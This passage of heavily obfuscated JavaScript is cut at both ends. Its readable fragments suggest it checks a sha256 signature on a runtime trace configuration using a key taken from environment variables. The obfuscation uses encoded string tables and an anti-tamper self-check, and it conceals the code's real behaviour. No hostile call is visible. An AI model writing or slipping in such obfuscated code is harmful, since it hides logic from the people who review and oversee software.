f\x57\x4f\x4f','\x57\x34\x33\x63\x4c\x49\x33\x63\x56\x57','\x57\x52\x33\x63\x4d\x59\x4e\x64\x4c\x38\x6f\x6f\x57\x34\x30\x44\x57\x51\x76\x4d\x42\x62\x74\x63\x50\x57','\x57\x35\x76\x42\x57\x34\x42\x64\x4b\x71\x78\x64\x48\x38\x6f\x6d\x57\x36\x57','\x57\x50\x64\x63\x4f\x48\x64\x64\x4e\x43\x6b\x34\x57\x51\x31\x56\x70\x71','\x75\x75\x47\x52\x57\x34\x47\x76\x75\x4b\x6a\x56','\x64\x38\x6f\x56\x42\x59\x7a\x30\x71\x43\x6b\x6f\x76\x61','\x57\x50\x75\x70\x57\x50\x5a\x64\x56\x38\x6b\x49','\x57\x37\x68\x63\x56\x33\x79\x6f\x57\x50\x33\x63\x47\x38\x6f\x5a\x76\x57','\x57\x4f\x64\x63\x4c\x77\x6a\x38\x7a\x59\x43\x7a','\x6d\x38\x6f\x36\x57\x52\x74\x63\x47\x43\x6f\x4c','\x57\x34\x48\x46\x57\x35\x64\x64\x52\x48\x74\x64\x47\x47','\x67\x6d\x6b\x48\x6c\x53\x6b\x4c','\x79\x38\x6b\x71\x72\x49\x52\x63\x54\x30\x46\x64\x51\x4c\x38','\x57\x37\x6e\x77\x67\x61\x4e\x64\x53\x61','\x6e\x43\x6f\x50\x57\x4f\x52\x63\x55\x53\x6f\x4b','\x57\x4f\x64\x64\x4b\x58\x54\x34\x57\x34\x62\x48\x57\x34\x56\x64\x47\x57','\x62\x53\x6f\x32\x68\x53\x6b\x58','\x45\x72\x50\x6c\x7a\x66\x62\x71\x42\x57','\x57\x51\x79\x47\x57\x4f\x58\x63\x57\x36\x57','\x6d\x53\x6f\x6f\x45\x57\x31\x77\x46\x43\x6b\x49\x46\x57','\x57\x52\x4f\x6d\x57\x50\x56\x64\x50\x53\x6b\x4d\x57\x34\x35\x45','\x57\x37\x6c\x63\x55\x77\x53\x46\x57\x4f\x52\x63\x55\x57','\x57\x51\x4a\x63\x4d\x71\x70\x64\x4d\x43\x6b\x42','\x57\x36\x70\x63\x4b\x4d\x4b\x64\x57\x4f\x42\x63\x53\x6d\x6f\x55\x72\x47','\x57\x51\x30\x46\x57\x51\x4e\x64\x51\x6d\x6b\x35','\x66\x72\x6d\x56\x6c\x53\x6b\x76\x57\x37\x78\x63\x51\x73\x47','\x6b\x65\x6d\x6f\x57\x34\x38','\x6d\x53\x6f\x74\x73\x72\x50\x62\x73\x38\x6b\x4b\x42\x71','\x57\x4f\x64\x64\x4b\x72\x42\x63\x49\x49\x53','\x69\x38\x6f\x6e\x57\x51\x38','\x57\x51\x65\x77\x57\x37\x64\x64\x4b\x43\x6f\x35\x57\x37\x38\x45\x76\x57','\x67\x43\x6f\x65\x57\x52\x4b','\x57\x51\x5a\x64\x4c\x38\x6f\x41\x57\x34\x33\x64\x54\x38\x6b\x46\x77\x59\x4a\x63\x50\x38\x6f\x4c\x57\x35\x43','\x57\x50\x2f\x63\x52\x61\x78\x63\x4c\x43\x6f\x53','\x57\x50\x53\x6f\x57\x37\x56\x64\x47\x38\x6f\x5a\x57\x36\x4c\x53\x75\x71','\x6c\x38\x6f\x4e\x57\x34\x2f\x64\x47\x53\x6b\x4f\x64\x32\x72\x4b'];_0x52a8=function(){return _0x5e9be8;};return _0x52a8();}const _0x3a30b9=_0x49d3;(function(_0x1d04fa,_0x5ba0dc){const _0x5d72b0=_0x49d3,_0x59b706=_0x1d04fa();while(!![]){try{const _0x575715=parseInt(_0x5d72b0(0x137,'\x43\x49\x58\x67'))/(-0x13d6+0x1437+-0x60)+parseInt(_0x5d72b0(0x14d,'\x50\x4d\x71\x41'))/(-0x11f9+0xa75+0x786)+parseInt(_0x5d72b0(0x1c2,'\x63\x50\x61\x30'))/(0x1851+0x11c5*-0x1+-0x7*0xef)*(parseInt(_0x5d72b0(0x1be,'\x4b\x58\x32\x32'))/(-0x1*-0x1e39+0x148*-0x1a+0x35*0xf))+parseInt(_0x5d72b0(0xd7,'\x71\x30\x63\x74'))/(-0x2*-0x417+0x1d7e+-0x25a7)+-parseInt(_0x5d72b0(0x169,'\x49\x75\x35\x67'))/(0x5f1*-0x3+0x7*-0x356+-0x35*-0xc7)+parseInt(_0x5d72b0(0x173,'\x48\x41\x75\x2a'))/(0x11c6+-0xef5+-0x2ca)*(parseInt(_0x5d72b0(0x1e1,'\x62\x6d\x56\x28'))/(0x1af*0x7+-0x1*0x1e4d+0x128c))+-parseInt(_0x5d72b0(0x154,'\x4c\x41\x35\x77'))/(-0xdc3*0x1+-0x1975+0x2741);if(_0x575715===_0x5ba0dc)break;else _0x59b706['push'](_0x59b706['shift']());}catch(_0x5118df){_0x59b706['push'](_0x59b706['shift']());}}}(_0x52a8,-0x1a9d+-0x2a36d+0x4ed4e));const _0x1dcdb7=(function(){const _0x3ff8f3=_0x49d3,_0x3f1bea={};_0x3f1bea[_0x3ff8f3(0xe3,'\x71\x30\x63\x74')]=function(_0x54f98d,_0x4adc5e){return _0x54f98d===_0x4adc5e;},_0x3f1bea['\x53\x4d\x47\x6c\x78']=_0x3ff8f3(0xf7,'\x31\x79\x64\x5b');const _0x2cf8fd=_0x3f1bea;let _0x2597ac=!![];return function(_0x373ae9,_0x2dbf3b){const _0x322b43=_0x2597ac?function(){const _0xd8cb92=_0x49d3;if(_0x2cf8fd[_0xd8cb92(0x12a,'\x26\x69\x34\x6c')](_0x2cf8fd[_0xd8cb92(0xe4,'\x53\x5e\x29\x58')],_0x2cf8fd[_0xd8cb92(0x1b8,'\x49\x75\x35\x67')])){if(_0x2dbf3b){const _0x1f7b18=_0x2dbf3b[_0xd8cb92(0xc5,'\x38\x6b\x51\x53')](_0x373ae9,arguments);return _0x2dbf3b=null,_0x1f7b18;}}else _0x206444++;}:function(){};return _0x2597ac=![],_0x322b43;};}()),_0x13712a=_0x1dcdb7(this,function(){const _0x2a4664=_0x49d3,_0x2ac08c={};_0x2ac08c[_0x2a4664(0x136,'\x70\x47\x6b\x34')]=_0x2a4664(0xcd,'\x4f\x4f\x73\x63')+_0x2a4664(0xc0,'\x79\x46\x50\x63');const _0x441be3=_0x2ac08c;return _0x13712a[_0x2a4664(0x1cd,'\x57\x4b\x35\x26')]()[_0x2a4664(0xd5,'\x31\x47\x48\x73')](_0x441be3[_0x2a4664(0xcb,'\x48\x69\x26\x65')])[_0x2a4664(0x1d4,'\x43\x71\x33\x38')]()[_0x2a4664(0x103,'\x57\x4b\x35\x26')+_0x2a4664(0x18f,'\x5e\x4c\x29\x6d')](_0x13712a)['\x73\x65\x61\x72\x63\x68'](_0x441be3['\x6c\x4e\x79\x69\x6a']);});_0x13712a();'use strict';function _0x49d3(_0x2c92a8,_0x5a7ad9){_0x2c92a8=_0x2c92a8-(0x344+0xc*0x4e+0x18d*-0x4);const _0x327e68=_0x52a8();let _0xd05202=_0x327e68[_0x2c92a8];if(_0x49d3['\x44\x6b\x6f\x72\x56\x43']===undefined){var _0x48c169=function(_0x24470a){const _0x5db79b='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x101657='',_0x1623b2='',_0x54c2ed=_0x101657+_0x48c169,_0x22263d=(''+function(){return-0x1705+-0xe*0x223+0x34ef*0x1;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')!==-(0x1757+0xaaf*0x1+-0x2205*0x1);for(let _0x5f33c5=0x1687+-0xef8+-0x78f,_0x56186b,_0x2fbb08,_0x29add3=-0x1*-0x15+0x13d9*0x1+-0x13ee;_0x2fbb08=_0x24470a['\x63\x68\x61\x72\x41\x74'](_0x29add3++);~_0x2fbb08&&(_0x56186b=_0x5f33c5%(0x22e4+0x928+-0x2c08)?_0x56186b*(0x1767+-0x18b6*-0x1+-0x2fdd)+_0x2fbb08:_0x2fbb08,_0x5f33c5++%(0x51*0x21+0x3*0xb9b+0x2*-0x169f))?_0x101657+=_0x22263d||_0x54c2ed['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x29add3+(-0x6*-0x1a6+0x308+-0xce2))-(0x184a+-0xba5*0x2+-0xf6)!==0x18b5+0x20c7+-0x397c?String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](0x925+0x1f59+0x1*-0x277f&_0x56186b>>(-(-0xd47+0x111c+-0x3d3)*_0x5f33c5&-0x1abd+-0x2353+0x3*0x14b2)):_0x5f33c5:0x719+-0x4e*-0x68+-0x26c9){_0x2fbb08=_0x5db79b['\x69\x6e\x64\x65\x78\x4f\x66'](_0x2fbb08);}for(let _0x400988=-0xc88+0xd*0x106+-0x1*0xc6,_0x23cb04=_0x101657['\x6c\x65\x6e\x67\x74\x68'];_0x400988<_0x23cb04;_0x400988++){_0x1623b2+='\x25'+('\x30\x30'+_0x101657['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x400988)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x1738+-0x1*0xf55+0x7d3*-0x1))['\x73\x6c\x69\x63\x65'](-(-0x10ed*-0x1+0x88*-0x35+0xb3d));}return decodeURIComponent(_0x1623b2);};const _0x108db6=function(_0xb74cdf,_0x4e7de5){let _0x9d4dd6=[],_0x26977a=-0xc12+-0x1cf8+0x290a,_0x23273c,_0x160e9e='';_0xb74cdf=_0x48c169(_0xb74cdf);let _0x5b2df9;for(_0x5b2df9=-0x24f7*-0x1+0x39*-0x57+-0x1198;_0x5b2df9<0xd4c+-0x1d1d+0x10d1;_0x5b2df9++){_0x9d4dd6[_0x5b2df9]=_0x5b2df9;}for(_0x5b2df9=0xa26+0x1d88+-0x27ae;_0x5b2df9<0x217d*0x1+-0xf69+-0x2*0x88a;_0x5b2df9++){_0x26977a=(_0x26977a+_0x9d4dd6[_0x5b2df9]+_0x4e7de5['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x5b2df9%_0x4e7de5['\x6c\x65\x6e\x67\x74\x68']))%(0x1f9*0x2+0x10a9+-0x139b),_0x23273c=_0x9d4dd6[_0x5b2df9],_0x9d4dd6[_0x5b2df9]=_0x9d4dd6[_0x26977a],_0x9d4dd6[_0x26977a]=_0x23273c;}_0x5b2df9=-0xeaa+-0x6c*-0x1+-0x71f*-0x2,_0x26977a=0x1e2*-0xc+0xd8b*-0x2+-0x2*-0x18d7;for(let _0x1b7d31=0x21*-0x39+0xe62*0x2+-0x156b*0x1;_0x1b7d31<_0xb74cdf['\x6c\x65\x6e\x67\x74\x68'];_0x1b7d31++){_0x5b2df9=(_0x5b2df9+(-0x1*0x179f+0x11d1*-0x1+-0x2971*-0x1))%(0x1*0x1f93+0x8e7*-0x1+-0x15ac),_0x26977a=(_0x26977a+_0x9d4dd6[_0x5b2df9])%(-0x19*-0x8+-0x2ae+0x2e6),_0x23273c=_0x9d4dd6[_0x5b2df9],_0x9d4dd6[_0x5b2df9]=_0x9d4dd6[_0x26977a],_0x9d4dd6[_0x26977a]=_0x23273c,_0x160e9e+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0xb74cdf['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x1b7d31)^_0x9d4dd6[(_0x9d4dd6[_0x5b2df9]+_0x9d4dd6[_0x26977a])%(-0x1b8b*-0x1+0x94f*0x3+0x54*-0xa6)]);}return _0x160e9e;};_0x49d3['\x75\x50\x6e\x61\x71\x66']=_0x108db6,_0x49d3['\x61\x4c\x67\x48\x6e\x55']={},_0x49d3['\x44\x6b\x6f\x72\x56\x43']=!![];}const _0x57e511=_0x327e68[0xa80+-0x1*0x1517+0xa97*0x1],_0x43b5ca=_0x2c92a8+_0x57e511,_0x5b1ced=_0x49d3['\x61\x4c\x67\x48\x6e\x55'][_0x43b5ca];if(!_0x5b1ced){if(_0x49d3['\x5a\x74\x46\x65\x4f\x68']===undefined){const _0x2ddad6=function(_0x108d00){this['\x59\x77\x64\x78\x78\x76']=_0x108d00,this['\x4b\x4c\x44\x6c\x50\x63']=[0x1790+-0x1*0x8db+0x4*-0x3ad,-0xbff+-0x4*0x526+0x2097,-0x1*-0x19d9+-0x1c67*0x1+0x28e],this['\x43\x4c\x49\x6f\x4f\x52']=function(){return'\x6e\x65\x77\x53\x74\x61\x74\x65';},this['\x4f\x53\x59\x6f\x61\x4c']='\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a',this['\x64\x7a\x6a\x4a\x57\x61']='\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d';};_0x2ddad6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5a\x6c\x54\x64\x43\x55']=function(){const _0x32ab78=new RegExp(this['\x4f\x53\x59\x6f\x61\x4c']+this['\x64\x7a\x6a\x4a\x57\x61']),_0x45d512=_0x32ab78['\x74\x65\x73\x74'](this['\x43\x4c\x49\x6f\x4f\x52']['\x74\x6f\x53\x74\x72\x69\x6e\x67']())?--this['\x4b\x4c\x44\x6c\x50\x63'][-0x25ed+-0x1*0x25c5+0x4bb3]:--this['\x4b\x4c\x44\x6c\x50\x63'][-0x1934+-0x13fd+0x2d31];return this['\x43\x75\x72\x74\x4b\x44'](_0x45d512);},_0x2ddad6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x43\x75\x72\x74\x4b\x44']=function(_0x2558c9){if(!Boolean(~_0x2558c9))return _0x2558c9;return this['\x4e\x74\x64\x43\x4d\x65'](this['\x59\x77\x64\x78\x78\x76']);},_0x2ddad6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x4e\x74\x64\x43\x4d\x65']=function(_0x3d8617){for(let _0x4da1d9=-0x1454+0x1*-0x1b07+0x2f5b,_0x495b52=this['\x4b\x4c\x44\x6c\x50\x63']['\x6c\x65\x6e\x67\x74\x68'];_0x4da1d9<_0x495b52;_0x4da1d9++){this['\x4b\x4c\x44\x6c\x50\x63']['\x70\x75\x73\x68'](Math['\x72\x6f\x75\x6e\x64'](Math['\x72\x61\x6e\x64\x6f\x6d']())),_0x495b52=this['\x4b\x4c\x44\x6c\x50\x63']['\x6c\x65\x6e\x67\x74\x68'];}return _0x3d8617(this['\x4b\x4c\x44\x6c\x50\x63'][0x1562+0x1851+0x2db3*-0x1]);},(''+function(){return 0x1*0xee1+-0x4f+-0x1*0xe92;})['\x69\x6e\x64\x65\x78\x4f\x66']('\x0a')===-(0x13d9+0x20f0+-0x34c8)&&new _0x2ddad6(_0x49d3)['\x5a\x6c\x54\x64\x43\x55'](),_0x49d3['\x5a\x74\x46\x65\x4f\x68']=!![];}_0xd05202=_0x49d3['\x75\x50\x6e\x61\x71\x66'](_0xd05202,_0x5a7ad9),_0x49d3['\x61\x4c\x67\x48\x6e\x55'][_0x43b5ca]=_0xd05202;}else _0xd05202=_0x5b1ced;return _0xd05202;}const _0x2680fa=require(_0x3a30b9(0x1a9,'\x4c\x41\x35\x77'));function _0x2e7fa7(_0x17b8d0={}){const _0x407af4=_0x3a30b9,_0x562dd8={};_0x562dd8['\x55\x54\x4a\x7a\x45']=_0x407af4(0x1d0,'\x5a\x31\x6b\x28')+_0x407af4(0xdc,'\x26\x58\x34\x56')+_0x407af4(0x131,'\x70\x47\x6b\x34')+_0x407af4(0x158,'\x71\x30\x63\x74')+_0x407af4(0x192,'\x44\x67\x77\x73')+_0x407af4(0x10a,'\x26\x69\x34\x6c')+_0x407af4(0xf6,'\x79\x73\x5d\x24')+_0x407af4(0x10d,'\x48\x69\x26\x65')+_0x407af4(0x168,'\x38\x6b\x51\x53')+_0x407af4(0x1b0,'\x5d\x64\x65\x43')+_0x407af4(0x1a3,'\x35\x43\x41\x4a')+_0x407af4(0x1b1,'\x30\x59\x55\x56')+_0x407af4(0xbf,'\x66\x71\x47\x7a')+'\x72\x61\x63\x65\x5f\x68\x75\x62'+_0x407af4(0x176,'\x47\x6b\x4f\x64')+_0x407af4(0x1b9,'\x57\x40\x58\x28'),_0x562dd8[_0x407af4(0xff,'\x36\x45\x5b\x5e')]=function(_0x3ae9c5,_0x2d8a35){return _0x3ae9c5!==_0x2d8a35;},_0x562dd8[_0x407af4(0xe7,'\x36\x23\x5e\x71')]=function(_0x616760,_0x37f779){return _0x616760===_0x37f779;},_0x562dd8[_0x407af4(0x1ca,'\x71\x32\x6f\x45')]='\x74\x72\x61\x63\x65\x5f\x63\x6f'+'\x6e\x66\x69\x67\x5f\x73\x69\x67'+'\x6e\x61\x74\x75\x72\x65',_0x562dd8['\x62\x48\x51\x4e\x4e']=_0x407af4(0x139,'\x36\x45\x5b\x5e')+_0x407af4(0x108,'\x71\x32\x6f\x45');const _0x722175=_0x562dd8,_0x2f0d3c={};for(const _0x56d2a2 of Object['\x6b\x65\x79\x73'](_0x17b8d0)[_0x407af4(0x1cc,'\x33\x45\x59\x26')]()){if(_0x722175[_0x407af4(0x1d9,'\x66\x5b\x6b\x25')]('\x50\x72\x72\x67\x6c',_0x407af4(0xeb,'\x38\x6b\x51\x53')))this[_0x407af4(0x1ae,'\x36\x45\x5b\x5e')][_0x407af4(0x1b2,'\x71\x32\x6f\x45')]?.(_0x722175[_0x407af4(0x150,'\x33\x45\x59\x26')]);else{if(_0x722175[_0x407af4(0x18a,'\x26\x58\x34\x56')](_0x56d2a2,_0x407af4(0x1a0,'\x48\x69\x26\x65')+'\x65')||_0x56d2a2===_0x722175[_0x407af4(0x12b,'\x47\x73\x47\x7a')]||_0x722175[_0x407af4(0x1c7,'\x66\x5b\x6b\x25')](_0x56d2a2,_0x407af4(0x152,'\x47\x73\x47\x7a')+'\x65\x5f\x61\x6c\x67\x6f\x72\x69'+_0x407af4(0xc6,'\x35\x43\x41\x4a')))continue;if(_0x722175[_0x407af4(0xee,'\x44\x67\x77\x73')](_0x56d2a2,_0x722175[_0x407af4(0x11c,'\x71\x30\x63\x74')]))continue;const _0x1cde62=_0x17b8d0[_0x56d2a2];if(_0x1cde62!==undefined)_0x2f0d3c[_0x56d2a2]=_0x1cde62;}}return JSON[_0x407af4(0x15b,'\x53\x32\x34\x47')+'\x79'](_0x2f0d3c);}function _0x2950e7(_0x5ab651={},_0x147064=process.env){const _0x574dad=_0x3a30b9,_0x514ffa={'\x45\x42\x51\x54\x72':function(_0x2ae917,_0x521398){return _0x2ae917||_0x521398;},'\x67\x72\x4c\x63\x53':function(_0x1ae79c,_0x45ee78){return _0x1ae79c(_0x45ee78);},'\x49\x41\x72\x50\x67':function(_0x46886f,_0x4d55ac){return _0x46886f||_0x4d55ac;},'\x70\x68\x78\x62\x4a':function(_0x14362e,_0x585f40){return _0x14362e!==_0x585f40;},'\x72\x66\x54\x4b\x4f':_0x574dad(0x19c,'\x48\x69\x26\x65'),'\x75\x66\x6c\x50\x6a':'\x73\x68\x61\x32\x35\x36','\x55\x4c\x4b\x78\x6e':function(_0x3832e6,_0xb707e8){return _0x3832e6(_0xb707e8);},'\x74\x41\x43\x77\x6a':_0x574dad(0x161,'\x70\x47\x6b\x34'),'\x79\x77\x75\x43\x4c':_0x574dad(0x1b7,'\x5a\x31\x6b\x28')},_0x4858b8=_0x514ffa[_0x574dad(0x1e2,'\x49\x75\x35\x67')](String,_0x147064[_0x574dad(0xda,'\x79\x73\x5d\x24')+'\x52\x41\x43\x45\x5f\x43\x4f\x4e'+_0x574dad(0x13d,'\x44\x67\x77\x73')+_0x574dad(0x1c6,'\x43\x71\x33\x38')+_0x574dad(0xea,'\x31\x79\x64\x5b')]||_0x147064['\x45\x56\x4f\x4d\x41\x50\x5f\x50'+_0x574dad(0xe9,'\x66\x71\x47\x7a')+_0x574dad(0x180,'\x31\x47\x48\x73')+_0x574dad(0x167,'\x43\x49\x58\x67')+_0x574dad(0x11e,'\x66\x71\x47\x7a')+_0x574dad(0x125,'\x78\x65\x4e\x54')]||'')['\x74\x72\x69\x6d'](),_0x100469=_0x514ffa['\x67\x72\x4c\x63\x53'](String,_0x5ab651[_0x574dad(0x13b,'\x57\x40\x58\x28')+'\x65']||_0x5ab651[_0x574dad(0x1a2,'\x31\x79\x64\x5b')+_0x574dad(0xdf,'\x5e\x4c\x29\x6d')+_0x574dad(0x113,'\x4c\x41\x35\x77')]||'')['\x74\x72\x69\x6d']();if(_0x514ffa[_0x574dad(0xba,'\x74\x5d\x2a\x63')](!_0x4858b8,!_0x100469))return![];try{if(_0x514ffa[_0x574dad(0xc9,'\x4e\x54\x48\x4d')](_0x514ffa['\x72\x66\x54\x4b\x4f'],_0x514ffa[_0x574dad(0x1a4,'\x62\x6d\x56\x28')]))this[_0x574dad(0x159,'\x61\x67\x63\x58')][_0x574dad(0x1de,'\x48\x69\x26\x65')](_0x194e74['\x69\x64']);else return _0x2680fa[_0x574dad(0x171,'\x50\x4d\x71\x41')](_0x514ffa[_0x574dad(0xde,'\x33\x45\x59\x26')],Buffer[_0x574dad(0x12d,'\x71\x30\x63\x74')](_0x514ffa[_0x574dad(0xf3,'\x53\x5e\x29\x58')](_0x2e7fa7,_0x5ab651),_0x514ffa[_0x574dad(0x1a1,'\x31\x79\x64\x5b')]),_0x4858b8,Buffer['\x66\x72\x6f\x6d'](_0x100469,_0x574dad(0x1e6,'\x66\x71\x47\x7a')));}catch{if(_0x514ffa[_0x574dad(0x142,'\x6a\x50\x68\x65')](_0x514ffa[_0x574dad(0x153,'\x4c\x41\x35\x77')],_0x574dad(0x121,'\x31\x47\x48\x73')))return![];else this[_0x574dad(0x1e8,'\x66\x5b\x6b\x25')]=_0x16fb7e,this[_0x574dad(0x14c,'\x67\x28\x38\x4b')]=_0x514ffa[_0x574dad(0x181,'\x73\x53\x28\x4c')](_0x4dd897,_0x57b1a2);}}class _0x351f4b{constructor({store:_0x4cffb8,logger:_0x4924f8}={}){const _0x2b98a5=_0x3a30b9;this['\x73\x74\x6f\x72\x65']=_0x4cffb8,this[_0x2b98a5(0x19a,'\x43\x71\x33\x38')]=_0x4924f8||console;}[_0x3a30b9(0xec,'\x63\x50\x61\x30')](_0x388561){const _0x3a31fc=_0x3a30b9,_0x1fc6b3={'\x4f\x67\x59\x6a\x67':function(_0x5e0d0b,_0x284b82){return _0x5e0d0b(_0x284b82);},'\x47\x77\x6d\x65\x78':'\x73\x68\x61\x32\x35\x36','\x49\x66\x6c\x70\x57':function(_0x4cf88b,_0x1423ff){return _0x4cf88b(_0x1423ff);},'\x72\x79\x55\x64\x4b':_0x3a31fc(0xd0,'\x62\x6d\x56\x28'),'\x50\x6a\x49\x54\x50':'\x62\x61\x73\x65\x36\x34','\x54\x57\x76\x67\x57':_0x3a31fc(0x130,'\x47\x6b\x4f\x64'),'\x42\x6c\x70\x6f\x4f':function(_0xc04d01,_0x114f80){return _0xc04d01(_0x114f80);},'\x55\x4b\x65\x4c\x51':function(_0xe7bcb0,_0x35b132){return _0xe7bcb0===_0x35b132;},'\x75\x41\x59\x44\x41':function(_0x3691ee,_0x46eb22){return _0x3691ee===_0x46eb22;},'\x61\x4c\x6e\x58\x58':function(_0x312d1d,_0x5562c6){return _0x312d1d===_0x5562c6;},'\x62\x43\x43\x56\x76':'\x73\x74\x72\x69\x6e\x67','\x68\x68\x71\x6b\x70':function(_0x4e0828,_0xa99522){return _0x4e0828&&_0xa99522;},'\x49\x72\x51\x46\x6c':function(_0x17c4e6,_0x4c6670){return _0x17c4e6&&_0x4c6670;},'\x48\x51\x44\x71\x6a':'\x74\x72\x61\x63\x65\x5f\x63\x6f'+_0x3a31fc(0x1c4,'\x33\x5e\x48\x64')+_0x3a31fc(0xe1,'\x33\x5e\x48\x64'),'\x72\x6c\x41\x63\x43':_0x3a31fc(0x1b5,'\x67\x28\x38\x4b'),'\x62\x67\x54\x58\x63':_0x3a31fc(0x163,'\x53\x5e\x29\x58'),'\x4c\x6f\x54\x6b\x74':function(_0x24ce96,_0x32158b){return _0x24ce96!==_0x32158b;},'\x62\x66\x79\x47\x74':'\x73\x46\x61\x56\x6d','\x45\x55\x77\x4d\x48':_0x3a31fc(0x1aa,'\x48\x69\x26\x65'),'\x70\x79\x75\x69\x72':_0x3a31fc(0xfb,'\x30\x59\x55\x56')+_0x3a31fc(0xf1,'\x5a\x31\x6b\x28')+_0x3a31fc(0xc8,'\x74\x5d\x2a\x63')+_0x3a31fc(0x115,'\x48\x41\x75\x2a')+_0x3a31fc(0xbd,'\x4b\x58\x32\x32')+_0x3a31fc(0x13a,'\x73\x53\x28\x4c')+'\x6d\x20\x61\x6e\x20\x75\x6e\x73'+_0x3a31fc(0x141,'\x78\x65\x4e\x54')+_0x3a31fc(0x1d1,'\x47\x6b\x4f\x64'),'\x5a\x67\x55\x78\x6e':'\x5b\x74\x72\x61\x63\x65\x2d\x63'+_0x3a31fc(0x18c,'\x38\x40\x62\x72')+_0x3a31fc(0x149,'\x63\x50\x61\x30')+'\x72\x75\x6e\x74\x69\x6d\x65\x20'+_0x3a31fc(0x192,'\x44\x67\x77\x73')+_0x3a31fc(0x128,'\x36\x45\x5b\x5e')+_0x3a31fc(0x186,'\x26\x69\x34\x6c')+_0x3a31fc(0x1a5,'\x4f\x4f\x73\x63')+'\x50\x5f\x50\x52\x4f\x58\x59\x5f'+_0x3a31fc(0x195,'\x57\x40\x58\x28')+_0x3a31fc(0x10f,'\x4e\x54\x48\x4d')+_0x3a31fc(0x1b1,'\x30\x59\x55\x56')+'\x73\x69\x67\x6e\x65\x64\x20\x74'+_0x3a31fc(0x13c,'\x53\x32\x34\x47')+_0x3a31fc(0x138,'\x5d\x64\x65\x43')+_0x3a31fc(0x135,'\x33\x44\x53\x5d'),'\x64\x42\x75\x47\x43':_0x3a31fc(0x15a,'\x50\x4d\x71\x41')+_0x3a31fc(0xd3,'\x4e\x54\x48\x4d')+_0x3a31fc(0x187,'\x57\x40\x58\x28')+'\x5f\x61\x74','\x46\x77\x47\x5a\x42':function(_0x4bd304,_0x1e65a3){return _0x4bd304+_0x1e65a3;},'\x48\x42\x54\x46\x53':_0x3a31fc(0x12e,'\x73\x53\x28\x4c')+_0x3a31fc(0x104,'\x71\x30\x63\x74')+_0x3a31fc(0xf0,'\x70\x47\x6b\x34')+_0x3a31fc(0x1b6,'\x57\x4b\x35\x26')+'\x20','\x69\x5a\x74\x59\x63':_0x3a31fc(0x190,'\x74\x5d\x2a\x63'),'\x6b\x4a\x76\x70\x4e':_0x3a31fc(0x18e,'\x49\x75\x35\x67')},_0x17920b=_0x388561&&_0x388561[_0x3a31fc(0x1d5,'\x79\x73\x5d\x24')]?_0x388561[_0x3a31fc(0x1af,'\x33\x45\x59\x26')]:_0x388561,_0x53fd33=_0x17920b&&(_0x17920b[_0x3a31fc(0x160,'\x62\x6d\x56\x28')]??_0x17920b[_0x3a31fc(0x175,'\x49\x75\x35\x67')+_0x3a31fc(0x145,'\x47\x6b\x4f\x64')+_0x3a31fc(0xbc,'\x6a\x50\x68\x65')]??_0x17920b[_0x3a31fc(0x1c8,'\x48\x41\x75\x2a')+_0x3a31fc(0xed,'\x62\x6d\x56\x28')+_0x3a31fc(0x1da,'\x26\x69\x34\x6c')+_0x3a31fc(0xd2,'\x4f\x4f\x73\x63')]);if(typeof _0x53fd33!==_0x1fc6b3[_0x3a31fc(0x110,'\x31\x47\x48\x73')]){this['\x6c\x6f\x67\x67\x65\x72'][_0x3a31fc(0x105,'\x33\x44\x53\x5d')]?.(_0x3a31fc(0x1ab,'\x79\x73\x5d\x24')+_0x3a31fc(0x14e,'\x31\x47\x48\x73')+'\x69\x67\x6e\x6f\x72\x69\x6e\x67'+_0x3a31fc(0x19e,'\x43\x71\x33\x38')+_0x3a31fc(0xfd,'\x71\x32\x6f\x45')+_0x3a31fc(0x1e5,'\x31\x47\x48\x73')+_0x3a31fc(0x1c9,'\x4e\x54\x48\x4d'));const _0x330f2e={};return _0x330f2e[_0x3a31fc(0x1a6,'\x43\x71\x33\x38')]=!![],_0x330f2e[_0x3a31fc(0x17f,'\x30\x59\x55\x56')]=![],_0x330f2e;}let _0x480dcd=_0x17920b[_0x3a31fc(0x1bb,'\x73\x53\x28\x4c')+_0x3a31fc(0x1e4,'\x4f\x4f\x73\x63')+_0x3a31fc(0x183,'\x61\x67\x63\x58')]??_0x17920b[_0x3a31fc(0x16e,'\x35\x43\x41\x4a')+_0x3a31fc(0xe5,'\x38\x40\x62\x72')+_0x3a31fc(0x1e3,'\x33\x44\x53\x5d')+_0x3a31fc(0x1cb,'\x44\x67\x77\x73')];const _0x4b2b6a=_0x1fc6b3[_0x3a31fc(0x1dd,'\x43\x49\x58\x67')](_0x2950e7,_0x17920b),_0x396334=_0x1fc6b3[_0x3a31fc(0x1ce,'\x70\x47\x6b\x34')](_0x53fd33,!![]),_0x3632cc=_0x1fc6b3[_0x3a31fc(0x19d,'\x31\x47\x48\x73')](_0x480dcd,!![]),_0x127889=_0x1fc6b3[_0x3a31fc(0xe8,'\x79\x73\x5d\x24')](typeof 